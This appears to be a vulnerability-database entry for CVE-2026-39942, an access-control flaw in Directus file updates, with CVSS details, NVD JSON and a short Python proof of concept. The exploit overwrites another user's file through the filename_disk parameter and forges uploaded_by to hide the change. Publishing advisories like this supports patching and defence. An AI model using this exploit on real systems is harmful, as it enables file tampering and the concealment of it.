Security Vulnerability Report
中文
CVE-2026-39942 CVSS 8.5 HIGH

CVE-2026-39942

Published: 2026-04-09 17:16:30
Last Modified: 2026-04-14 17:36:26

Description

Directus is a real-time API and App dashboard for managing SQL database content. Prior to 11.17.0, the PATCH /files/{id} endpoint accepts a user-controlled filename_disk parameter. By setting this value to match the storage path of another user's file, an attacker can overwrite that file's content while manipulating metadata fields such as uploaded_by to obscure the tampering. This vulnerability is fixed in 11.17.0.

CVSS Details

CVSS Score
8.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:monospace:directus:*:*:*:*:*:node.js:*:* - VULNERABLE
Directus < 11.17.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_url = "http://localhost:8080" attacker_token = "YOUR_ACCESS_TOKEN" file_id_to_control = "1" # ID of a file the attacker controls # Path on disk where the victim's file is stored (e.g., another user's upload) victim_disk_path = "uploads/victim_sensitive_file.pdf" headers = { "Authorization": f"Bearer {attacker_token}", "Content-Type": "application/json" } # Payload to overwrite the victim's file using the attacker's controlled file ID payload = { "filename_disk": victim_disk_path, # Vulnerable parameter: Path traversal/overwrite "data": "base64_encoded_content_of_malicious_file", "uploaded_by": "admin" # Tamper with metadata to hide tracks } # Send the malicious PATCH request response = requests.patch( f"{target_url}/files/{file_id_to_control}", json=payload, headers=headers ) if response.status_code == 200: print("[+] Exploit successful: File overwritten.") else: print(f"[-] Exploit failed: {response.text}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-39942", "sourceIdentifier": "[email protected]", "published": "2026-04-09T17:16:29.813", "lastModified": "2026-04-14T17:36:25.930", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Directus is a real-time API and App dashboard for managing SQL database content. Prior to 11.17.0, the PATCH /files/{id} endpoint accepts a user-controlled filename_disk parameter. By setting this value to match the storage path of another user's file, an attacker can overwrite that file's content while manipulating metadata fields such as uploaded_by to obscure the tampering. This vulnerability is fixed in 11.17.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:N", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 4.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-284"}, {"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:monospace:directus:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "11.17.0", "matchCriteriaId": "F2EBB337-0000-4792-940F-DAEFCFC17747"}]}]}], "references": [{"url": "https://github.com/directus/directus/releases/tag/v11.17.0", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/directus/directus/security/advisories/GHSA-393c-p46r-7c95", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}